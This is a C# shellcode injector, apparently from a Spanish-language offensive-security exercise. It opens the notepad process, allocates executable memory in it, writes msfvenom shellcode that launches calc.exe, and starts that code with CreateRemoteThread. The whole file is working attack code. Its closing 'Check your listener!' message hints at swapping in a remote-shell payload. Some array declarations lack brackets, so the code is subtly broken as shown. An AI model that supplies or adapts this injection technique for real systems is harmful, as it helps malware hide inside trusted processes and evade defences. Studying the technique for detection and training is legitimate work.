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using System; using System.Diagnostics; using System.Runtime.InteropServices; namespace Injector { public class BasicShellcodeInjector { /* Más definiciones con P/Invoke */ /* https://pinvoke.net/default.aspx/kernel32/OpenProcess.html */ [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); /* https://pinvoke.net/default.aspx/kernel32/VirtualAllocEx.html */ [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); /* https://pinvoke.net/default.aspx/kernel32/WriteProcessMemory.html */ [DllImport("kernel32.dll", SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr procHandle, IntPtr lpBaseAddress, byte lpscfer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); /* https://pinvoke.net/default.aspx/kernel32/CreateRemoteThread.html */ [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr procHandle, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); public static void Main() { /* Igual que en el ejercicio anterior definimos nuestro shellcode como un byte array */ /* msfvenom -p windows/x64/exec CMD="C:\windows\system32\calc.exe" EXITFUNC=thread -f csharp */ byte sc = new byte[296] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c, 0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33, 0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; int len = sc.Length; /* Definir el proceso a donde queremos inyectar */ string targetProc = "notepad"; /* Obtener una lista de procesos que contengan el nombre del proceso del objetivo */ Process expProc = Process.GetProcessesByName(targetProc); if(expProc.Length == 0){ Console.WriteLine($"No {targetProc} found. Is it running?"); return; } /* Obtener el ID del proceso (PID) de el objetivo */ int pid = expProc[0].Id; Console.WriteLine($"Target process: {targetProc} [{pid}]."); /* Obtener un handle del proceso objetivo para interactura con el */ IntPtr procHandle = OpenProcess(ProcessAccessFlags.All, false, pid); if ((int)procHandle == 0) { Console.WriteLine($"Failed to get handle on PID {pid}. Do you have the right privileges?"); return; } else { Console.WriteLine($"Got handle {procHandle} on target process."); } /* Reservar memoria RWX en el proceso remoto */ IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); Console.WriteLine($"Allocated {len} bytes at address {memAddr} in remote process."); /* Escribe el payload a los bytes reservados en el proceso remoto */ IntPtr bytesWritten; bool procMemResult = WriteProcessMemory(procHandle, memAddr, sc, len, out bytesWritten); if(procMemResult){ Console.WriteLine($"Wrote {bytesWritten} bytes."); } else { Console.WriteLine("Failed to write to remote process."); } /* Crea el thread para ejecutar */ IntPtr tAddr = CreateRemoteThread(procHandle, IntPtr.Zero, 0, memAddr, IntPtr.Zero, 0, IntPtr.Zero); Console.WriteLine($"Created remote thread at {tAddr}. Check your listener!"); } } }